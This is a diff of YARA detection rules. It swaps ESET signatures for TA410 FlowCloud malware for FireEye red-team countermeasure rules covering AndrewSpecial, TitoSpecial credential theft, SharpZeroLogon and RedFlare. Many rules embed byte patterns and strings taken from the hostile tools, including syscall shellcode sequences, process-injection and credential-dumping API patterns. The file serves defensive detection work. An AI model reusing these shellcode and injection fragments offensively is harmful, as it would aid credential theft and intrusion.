-		logic_hash = "442a08a77fd2db03e507c0d5a32b17ab4e5936a209f7af23ef3c33a4b9f3d0d5"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "20ce4902-4eb3-5ecf-aa8c-0515965dde57"
+		date = "2020-11-25"
+		date = "2020-11-25"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TITOSPECIAL/production/yara/HackTool_Win64_AndrewSpecial_1.yar#L4-L18"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "4456e52f6f8543c3ba76cb25ea3e9bd2"
+		logic_hash = "96f06c46dfec795fcfd08c188853d0a3f781003ae118833719a175eb59049c0d"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = "FILE"
-		license = "BSD 2-Clause"
-		version = "1"
+		rev = 5
 
 	strings:
-		$s1 = {
-            C7 03 C2 2E AB 48           //mov dword ptr [ebx], 0x48ab2ec2
-            ( A1 | 8B 15 ) ?? ?? ?? ??      //mov (eax | edx), x
-            [0-1]               //push ebp
-            89 ?3 04            //mov dword ptr [ebc + 4], reg
-            8B 4? 24 ??             //mov reg, dword ptr [esp + X]
-            89 4? 08            //mov dword ptr [ebx + 8], ??
-            89 ?? 0C            //mov dword ptr [ebx + 0xc], ??
-            8B 4? 24 ??             //mov reg, dword ptr [esp + X]
-            [1-2]               //push 1 or 2 args
-            E8 ?? ?? ?? ??          //call
-        }
+		$dump = { 33 D2 B9 FF FF 1F 00 FF 15 [10-90] 00 00 00 00 [2-6] 80 00 00 00 [2-6] 02 00 00 00 45 33 C9 45 33 C0 BA 00 00 00 10 48 8D 0D [4] FF 15 [4-120] 00 00 00 00 [2-6] 00 00 00 00 [2-6] 00 00 00 00 41 B9 02 00 00 00 [6-15] E8 [4-20] FF 15 }
+		$shellcode_x64 = { 4C 8B D1 B8 3C 00 00 00 0F 05 C3 }
+		$shellcode_x64_inline = { C6 44 24 ?? 4C C6 44 24 ?? 8B C6 44 24 ?? D1 C6 44 24 ?? B8 C6 44 24 ?? 3C C6 44 24 ?? 00 C6 44 24 ?? 00 C6 44 24 ?? 00 C6 44 24 ?? 0F C6 44 24 ?? 05 C6 44 24 ?? C3 }
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and $dump and any of ($shellcode*)
 }
-import "pe"
-
-rule ESET_Apt_Windows_TA410_Flowcloud_Loader_Strings : FILE
+rule FIREEYE_RT_Hacktool_Win32_Andrewspecial_1 : FILE
 {
 	meta:
-		description = "Matches various strings found in TA410 FlowCloud first stage."
-		author = "ESET Research"
-		id = "a3fb894f-8e26-5cbd-a1f2-8a9ab1db0901"
-		date = "2021-10-12"
-		modified = "2022-04-27"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/ta410/ta410.yar#L379-L415"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "3c90723e009ffe2603910566ac52a324256676ee3ff128d94427681010e10e8b"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "69e27e92-d68e-5543-bada-170e32733dbb"
+		date = "2020-11-25"
+		date = "2020-11-25"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TITOSPECIAL/production/yara/HackTool_Win32_AndrewSpecial_1.yar#L4-L18"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "e89efa88e3fda86be48c0cc8f2ef7230"
+		logic_hash = "529a49fb21250069111d03a174901dc2e1623ee2a1f446aae1bdb1579a227dd3"
 		score = 75
-		quality = 78
+		quality = 75
 		tags = "FILE"
-		license = "BSD 2-Clause"
-		version = "1"
+		rev = 4
 
 	strings:
-		$key = "y983nfdicu3j2dcn09wur9*^&initialize(y4r3inf;'fdskaf'SKF"
-		$s2 = "startModule" fullword
-		$s4 = "auto_start_module" wide
-		$s5 = "load_main_module_after_install" wide
-		$s6 = "terminate_if_fail" wide
-		$s7 = "clear_run_mru" wide
-		$s8 = "install_to_vista" wide
-		$s9 = "load_ext_module" wide
-		$s10 = "sll_only" wide
-		$s11 = "fail_if_already_installed" wide
-		$s12 = "clear_hardware_info" wide
-		$s13 = "av_check" wide fullword
-		$s14 = "check_rs" wide
-		$s15 = "check_360" wide
-		$s16 = "responsor.dat" wide ascii
-		$s17 = "auto_start_after_install_check_anti" wide fullword
-		$s18 = "auto_start_after_install" wide fullword
-		$s19 = "extern_config.dat" wide fullword
-		$s20 = "is_hhw" wide fullword
-		$s21 = "SYSTEM\\Setup\\PrintResponsor" wide
-		$event = "Global\\Event_{201a283f-e52b-450e-bf44-7dc436037e56}" wide ascii
-		$s23 = "invalid encrypto hdr while decrypting"
+		$dump = { 6A 00 68 FF FF 1F 00 FF 15 [4] 89 45 ?? 83 [2] 00 [1-50] 6A 00 68 80 00 00 00 6A 02 6A 00 6A 00 68 00 00 00 10 68 [4] FF 15 [4] 89 45 [10-70] 6A 00 6A 00 6A 00 6A 02 8B [2-4] 5? 8B [2-4] 5? 8B [2-4] 5? E8 [4-20] FF 15 }
+		$shellcode_x86 = { B8 3C 00 00 00 33 C9 8D 54 24 04 64 FF 15 C0 00 00 00 83 C4 04 C2 14 00 }
+		$shellcode_x86_inline = { C6 45 ?? B8 C6 45 ?? 3C C6 45 ?? 00 C6 45 ?? 00 C6 45 ?? 00 C6 45 ?? 33 C6 45 ?? C9 C6 45 ?? 8D C6 45 ?? 54 C6 45 ?? 24 C6 45 ?? 04 C6 45 ?? 64 C6 45 ?? FF C6 45 ?? 15 C6 45 ?? C0 C6 45 ?? 00 C6 45 ?? 00 C6 45 ?? 00 C6 45 ?? 83 C6 45 ?? C4 C6 45 ?? 04 C6 45 ?? C2 C6 45 ?? 14 C6 45 ?? 00 }
 
 	condition:
-		uint16(0)==0x5a4d and ($key or $event or 5 of ($s*))
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x010B) and $dump and any of ($shellcode*)
 }
-import "pe"
-
-rule ESET_Apt_Windows_TA410_Flowcloud_Header_Decryption : FILE
+rule FIREEYE_RT_Credtheft_MSIL_Titospecial_1 : FILE
 {
 	meta:
-		description = "Matches the function used to decrypt resources headers in TA410 FlowCloud"
-		author = "ESET Research"
-		id = "403c1845-bc25-5a49-8553-8a0be18d6970"
-		date = "2024-01-04"
-		modified = "2022-04-27"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/ta410/ta410.yar#L417-L496"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "74b6c42bf2de159b2b0a15637e6bd94069367e3000c887714d6e3b50aa3646be"
+		description = "This rule looks for .NET PE files that have the strings of various method names in the TitoSpecial code."
+		author = "FireEye"
+		id = "932bb013-03de-5cf7-89e9-b3232151d303"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TITOSPECIAL/production/yara/CredTheft_MSIL_TitoSpecial_1.yar#L4-L27"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "4bf96a7040a683bd34c618431e571e26"
+		logic_hash = "4ac9a5ede4aea5d73545b459eb635f87ce08ba521afa48b76d2cfa94f1379226"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = "FILE"
-		license = "BSD 2-Clause"
+		rev = 4
 
 	strings:
-		$chunk_1 = {
-            8B 1E
-            8B CF
-            D3 CB
-            8D 0C 28
-            83 C7 06
-            30 18
-            8B 1E
-            D3 CB
-            8D 0C 02
-            30 58 ??
-            8B 1E
-            D3 CB
-            8B 4C 24 ??
-            03 C8
-            30 58 ??
-            8B 1E
-            D3 CB
-            8B 4C 24 ??
-            03 C8
-            30 58 ??
-            8B 1E
-            D3 CB
-            8B 4C 24 ??
-            03 C8
-            83 C0 06
-            30 58 ??
-            8B 1E
-            D3 CB
-            30 58 ??
-            83 FF 10
-            72 ??
-        }
+		$str1 = "Minidump" ascii wide
+		$str2 = "dumpType" ascii wide
+		$str3 = "WriteProcessMemory" ascii wide
+		$str4 = "bInheritHandle" ascii wide
+		$str5 = "GetProcessById" ascii wide
+		$str6 = "SafeHandle" ascii wide
+		$str7 = "BeginInvoke" ascii wide
+		$str8 = "EndInvoke" ascii wide
+		$str9 = "ConsoleApplication1" ascii wide
+		$str10 = "getOSInfo" ascii wide
+		$str11 = "OpenProcess" ascii wide
+		$str12 = "LoadLibrary" ascii wide
+		$str13 = "GetProcAddress" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of ($str*)
 }
-import "pe"
-
-rule ESET_Apt_Windows_TA410_Flowcloud_Dll_Hijacking_Strings : FILE
+rule FIREEYE_RT_Hacktool_MSIL_SHARPZEROLOGON_1 : FILE
 {
 	meta:
-		description = "Matches filenames inside TA410 FlowCloud malicious DLL."
-		author = "ESET Research"
-		id = "6636d4d0-0a7f-5971-a7f4-58803042d874"
-		date = "2021-10-12"
-		modified = "2022-04-27"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/ta410/ta410.yar#L498-L517"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "e8082d4216364a12ba395f772b5caed94b3068d26a2b3a97ef711d61a82f65b3"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public 'sharpzerologon' project."
+		author = "FireEye"
+		id = "51f22eee-fb96-55b0-8c02-1a0e9910a93e"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPZEROLOGON/production/yara/HackTool_MSIL_SHARPZEROLOGON_1.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "ed6a9bef5c6ee03aff969b8765b284ace517f2e6a1ef114acb04cf094c69cfa5"
 		score = 75
-		quality = 80
+		quality = 73
 		tags = "FILE"
-		license = "BSD 2-Clause"
-		version = "1"
+		rev = 3
 
 	strings:
-		$dat1 = "emedres.dat" wide
-		$dat2 = "vviewres.dat" wide
-		$dat3 = "setlangloc.dat" wide
-		$dll1 = "emedres.dll" wide
-		$dll2 = "vviewres.dll" wide
-		$dll3 = "setlangloc.dll" wide
+		$typelibguid0 = "15ce9a3c-4609-4184-87b2-e29fc5e2b770" ascii nocase wide
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($dat*) or all of ($dll*))
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-import "pe"
-
-rule ESET_Apt_Windows_TA410_Flowcloud_Malicious_Dll_Antianalysis : FILE
+rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_6 : FILE
 {
 	meta:
-		description = "Matches anti-analysis techniques used in TA410 FlowCloud hijacking DLL."
-		author = "ESET Research"
-		id = "b38a1d4d-5053-5a6d-be8c-c00261936417"
-		date = "2021-10-12"
-		modified = "2022-04-27"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/ta410/ta410.yar#L519-L552"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "8f14352118d32a43c17f70bd753acc48bd314965f10ab97818e8a434bbda96d9"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "5875a9ec-c3ee-57f0-a430-4443db585def"
+		date = "2020-12-01"
+		date = "2020-12-01"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/supplemental/yara/APT_Trojan_Win_REDFLARE_6.yar#L4-L20"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "294b1e229c3b1efce29b162e7b3be0ab, 6902862bd81da402e7ac70856afbe6a2"
+		logic_hash = "1e6f8320e0c0b601fc72fa4d9c61e46adfbcd84638c97da5988ca848e036312a"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = "FILE"
-		license = "BSD 2-Clause"
-		version = "1"
+		rev = 2
 
 	strings:
-		$chunk_1 = {
-            33 C0
-            E8 ?? ?? ?? ??
-            83 C0 10
-            3D 00 00 00 80
-            7D 01
-            EB FF
-            E0 50
-            C3
-        }
+		$s1 = "RevertToSelf" fullword
+		$s2 = "Unsuccessful" fullword
+		$s3 = "Successful" fullword
+		$s4 = "runCommand" fullword
+		$s5 = "initialize" fullword
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule ESET_Apt_Windows_TA410_Flowcloud_Pdb : FILE
+rule FIREEYE_RT_APT_Trojan_Linux_REDFLARE_1 : FILE
 {
 	meta:
-		description = "Matches PDB paths found in TA410 FlowCloud."
-		author = "ESET Research"
-		id = "8bf25768-941e-55c6-bd21-f6b614c9d75d"
-		date = "2021-10-12"
-		modified = "2022-04-27"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/ta410/ta410.yar#L554-L567"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "ff95ab0f8e68efe612a6e0d70cebd8bf815d6b5e3877c098ac0761382dc310d6"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "220302bc-4ed3-5e10-9bd2-a8ed2bdaef73"
+		date = "2020-12-02"
+		date = "2020-12-02"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/supplemental/yara/APT_Trojan_Linux_REDFLARE_1.yar#L4-L20"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "79259451ff47b864d71fb3f94b1774f3, 82773afa0860d668d7fe40e3f22b0f3e"
+		logic_hash = "282f11c4c86d88d05f11e92f5483701d9a54c2dd39f21316cd271aa78a338d0f"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = "FILE"
-		license = "BSD 2-Clause"
-		version = "1"
+		rev = 1
+
+	strings:
+		$s1 = "find_applet_by_name" fullword
+		$s2 = "bb_basename" fullword
+		$s3 = "hk_printf_chk" fullword
+		$s4 = "runCommand" fullword
+		$s5 = "initialize" fullword
 
 	condition:
-		uint16(0)==0x5a4d and (pe.pdb_path contains "\\FlowCloud\\trunk\\" or pe.pdb_path contains "\\flowcloud\\trunk\\")
+		( uint32(0)==0x464c457f) and all of them
 }
-import "pe"
-
-rule ESET_Apt_Windows_TA410_Flowcloud_Shellcode_Decryption : FILE
+rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_8 : FILE
 {
 	meta:
-		description = "Matches the decryption function used in TA410 FlowCloud self-decrypting DLL"
-		author = "ESET Research"
-		id = "8af7b2fa-be40-5ec8-8413-1c982a463a9a"
-		date = "2021-10-12"
-		modified = "2022-04-27"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/ta410/ta410.yar#L569-L615"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "939ffe6a41c957aa5d6c012484b2deab49a5e71a4b7e203a41c180f872803921"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "b090df60-8f4e-51ca-944c-6f9ce2d9c913"
+		date = "2020-12-02"
+		date = "2020-12-02"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Trojan_Win_REDFLARE_8.yar#L4-L22"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "9c8eb908b8c1cda46e844c24f65d9370, 9e85713d615bda23785faf660c1b872c"
+		logic_hash = "5b8a0402886daebefb995e7df0877d51727c5b8dc58eeb8ff16ceec5e7811a20"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = "FILE"
-		license = "BSD 2-Clause"
-		version = "1"
+		rev = 1
 
 	strings:
-		$chunk_1 = {
-            33 D2
-            8B 45 ??
-            BB 6B 04 00 00
-            F7 F3
-            81 C2 A8 01 00 00
-            81 E2 FF 00 00 00
-            8B 7D ??
-            33 C9
-            EB ??
-            30 14 39
-            00 14 39
-            41
-            3B 4D ??
-            72 ??
-        }
+		$1 = "PSRunner.PSRunner" fullword
+		$2 = "CorBindToRuntime" fullword
+		$3 = "ReportEventW" fullword
+		$4 = "InvokePS" fullword wide
+		$5 = "runCommand" fullword
+		$6 = "initialize" fullword
+		$trap = { 03 40 00 80 E8 [4] CC }
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule ESET_Apt_Windows_TA410_Flowcloud_Fcclient_Strings : FILE
+rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_1 : FILE
 {
 	meta:
-		description = "Strings found in fcClient/rescure.dat module."
-		author = "ESET Research"
-		id = "876bae0b-2612-559b-9ead-b633a3789663"
-		date = "2021-10-12"
-		modified = "2022-04-27"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/ta410/ta410.yar#L617-L639"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "c05b7031a5aec1bcf29eca06c010c402edeb24a093a2043dbc21781dff22c7fe"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "c3054680-9c87-5d90-b78e-b260904340df"
+		date = "2020-11-27"
+		date = "2020-11-27"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Trojan_Win_REDFLARE_1.yar#L4-L21"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "100d73b35f23b2fe84bf7cd37140bf4d,4e7e90c7147ee8aa01275894734f4492"
+		logic_hash = "08ea2151418f7f75a8b138146c393a5ea85647320cc8e9fe1930d75871ab94bb"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = "FILE"
-		license = "BSD 2-Clause"
-		version = "1"
+		rev = 3
 
 	strings:
-		$s1 = "df257bdd-847c-490e-9ef9-1d7dc883d3c0"
-		$s2 = "\\{2AFF264E-B722-4359-8E0F-947B85594A9A}"
-		$s3 = "Global\\{26C96B51-2B5D-4D7B-BED1-3DCA4848EDD1}" wide
-		$s4 = "{804423C2-F490-4ac3-BFA5-13DEDE63A71A}" wide
-		$s5 = "{A5124AF5-DF23-49bf-B0ED-A18ED3DEA027}" wide
-		$s6 = "XXXModule_func.dll"
-		$driver1 = "\\drivers\\hidmouse.sys" wide fullword
-		$driver2 = "\\drivers\\hidusb.sys" wide fullword
+		$1 = "initialize" fullword
+		$2 = "runCommand" fullword
+		$3 = "stop" fullword
+		$4 = "fini" fullword
+		$5 = "VirtualAllocEx" fullword
+		$6 = "WriteProcessMemory" fullword
 
 	condition:
-		uint16(0)==0x5a4d and ( any of ($s*) or all of ($driver*))
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule ESET_Apt_Windows_TA410_Flowcloud_Fcclientdll_Strings : FILE
+rule FIREEYE_RT_APT_Loader_Win32_REDFLARE_2 : FILE
 {
 	meta:
-		description = "Strings found in fcClientDll/responsor.dat module."
-		author = "ESET Research"
-		id = "80ecaf51-406f-590c-8f9c-59672683de02"
-		date = "2021-10-12"
-		modified = "2022-04-27"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/ta410/ta410.yar#L641-L669"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "3a93f58cf14b57a96157077ec14aa6fb181e3da80f4ba46c0379a58b67c08a0e"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "6a585401-bfd3-5aad-b484-09b6a30d9af5"
+		date = "2020-11-27"
+		date = "2020-11-27"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Loader_Win32_REDFLARE_2.yar#L4-L17"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "4e7e90c7147ee8aa01275894734f4492"
+		logic_hash = "98dfb71adbde4f8965e612c19f0965d8fa95805825569290fdf72eb1d86cfb70"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = "FILE"
-		license = "BSD 2-Clause"
-		version = "1"
+		rev = 1
 
 	strings:
-		$s1 = "http://%s/html/portlet/ext/draco/resources/draco_manager.swf/[[DYNAMIC]]/1"
-		$s2 = "Cookie: COOKIE_SUPPORT=true; JSESSIONID=5C7E7A60D01D2891F40648DAB6CB3DF4.jvm1; COMPANY_ID=10301; ID=666e7375545678695645673d; PASSWORD=7a4b48574d746470447a303d; LOGIN=6863303130; SCREEN_NAME=4a2b455377766b657451493d; GUEST_LANGUAGE_ID=en-US"
-		$fc_msg = ".fc_net.msg"
-		$s4 = "\\pipe\\namedpipe_keymousespy_english" wide
-		$s5 = "8932910381748^&*^$58876$%^ghjfgsa413901280dfjslajflsdka&*(^7867=89^&*F(^&*5678f5ds765f76%&*%&*5"
-		$s6 = "cls_{CACB140B-0B82-4340-9B05-7983017BA3A4}" wide
-		$s7 = "HTTP/1.1 200 OK\x0d\nServer: Apache-Coyote/1.1\x0d\nPragma: No-cache\x0d\nCache-Control: no-cache\x0d\nExpires: Thu, 01 Jan 1970 08:00:00 CST\x0d\nLast-Modified: Fri, 27 Apr 2012 08:11:04 GMT\x0d\nContent-Type: application/xml\x0d\nContent-Length: %d\x0d\nDate: %s GMT"
-		$sql1 = "create table if not exists table_filed_space"
-		$sql2 = "create table if not exists clipboard"
-		$sql3 = "create trigger if not exists file_after_delete after delete on file"
-		$sql4 = "create trigger if not exists file_data_after_insert after insert on file_data"
-		$sql5 = "create trigger if not exists file_data_after_delete after delete on file_data"
-		$sql6 = "create trigger if not exists file_data_after_update after update on file_data"
-		$sql7 = "insert into file_data(file_id, ofs, data, status)"
+		$inject = { 83 F8 01 [4-50] 6A 00 6A 00 68 04 00 00 08 6A 00 6A 00 6A 00 6A 00 5? [10-70] FF 15 [4] 85 C0 [1-20] 6A 04 68 00 10 00 00 5? 6A 00 5? [1-10] FF 15 [4-8] 85 C0 [1-20] 5? 5? 5? 8B [1-4] 5? 5? FF 15 [4] 85 C0 [1-20] 6A 20 [4-20] FF 15 [4] 85 C0 [1-40] 01 00 01 00 [2-20] FF 15 [4] 85 C0 [1-30] FF 15 [4] 85 C0 [1-20] FF 15 [4] 83 F8 FF }
+		$s1 = "ResumeThread"
 
 	condition:
-		uint16(0)==0x5a4d and ( any of ($s*) or #fc_msg>=8 or 4 of ($sql*))
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x010B) and all of them
 }
-import "pe"
-
-rule ESET_Apt_Windows_TA410_Rootkit_Strings : FILE
+rule FIREEYE_RT_APT_Controller_Linux_REDFLARE_1 : FILE
 {
 	meta:
-		description = "Strings found in TA410's Rootkit"
-		author = "ESET Research"
-		id = "a6a97721-571e-5414-9b00-5789d7bcd078"
-		date = "2021-10-12"
-		modified = "2022-04-27"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/ta410/ta410.yar#L671-L697"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "1d3ad63508c5e4bca32b9a44b738cb4a7384ccfa5704ce329260adb342ea4e60"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "79a69740-7209-5c56-ad6f-eb4d0b29beaf"
+		date = "2020-12-02"
+		date = "2020-12-02"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Controller_Linux_REDFLARE_1.yar#L4-L19"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "79259451ff47b864d71fb3f94b1774f3, 82773afa0860d668d7fe40e3f22b0f3e"
+		logic_hash = "d6b0cc5f386da9bff8a8293f2b3857406044ab42f7c1bb23d5096052a3c42ce4"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = "FILE"
-		license = "BSD 2-Clause"
-		version = "1"
+		rev = 1
 
 	strings:
-		$driver1 = "\\Driver\\kbdclass" wide
-		$driver2 = "\\Driver\\mouclass" wide
-		$device1 = "\\Device\\KeyboardClass0" wide
-		$device2 = "\\Device\\PointerClass0" wide
-		$driver3 = "\\Driver\\tcpip" wide
-		$device3 = "\\Device\\tcp" wide
-		$driver4 = "\\Driver\\nsiproxy" wide
-		$device4 = "\\Device\\Nsi" wide
-		$reg1 = "\\Registry\\Machine\\SYSTEM\\Setup\\AllowStart\\ceipCommon" wide
-		$reg2 = "RHH%d" wide
-		$reg3 = "RHP%d" wide
-		$s1 = "\\SystemRoot\\System32\\drivers\\hidmouse.sys" wide
+		$1 = "/RedFlare/gorat_server"
+		$2 = "RedFlare/sandals"
+		$3 = "goratsvr.CommandResponse" fullword
+		$4 = "goratsvr.CommandRequest" fullword
 
 	condition:
-		uint16(0)==0x5a4d and all of ($s1,$reg*) and ( all of ($driver*) or all of ($device*))
+		( uint32(0)==0x464c457f) and all of them
 }
-import "pe"
-
-rule ESET_Apt_Windows_TA410_Flowcloud_V5_Resources : FILE
+rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_2 : FILE
 {
 	meta:
-		description = "Matches sequence of PE resource IDs found in TA410 FlowCloud version 5.0.2"
-		author = "ESET Research"
-		id = "05a233f0-a823-5154-a47d-cede722d4710"
-		date = "2021-10-12"
-		modified = "2022-04-27"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/ta410/ta410.yar#L699-L720"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "58f75dda53c6d4b3d88f464c452d855ac6dc88add5f4fba2641f52e7a1ae00ed"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "84881e5c-05df-5911-af42-ec82e559588c"
+		date = "2020-11-27"
+		date = "2020-11-27"
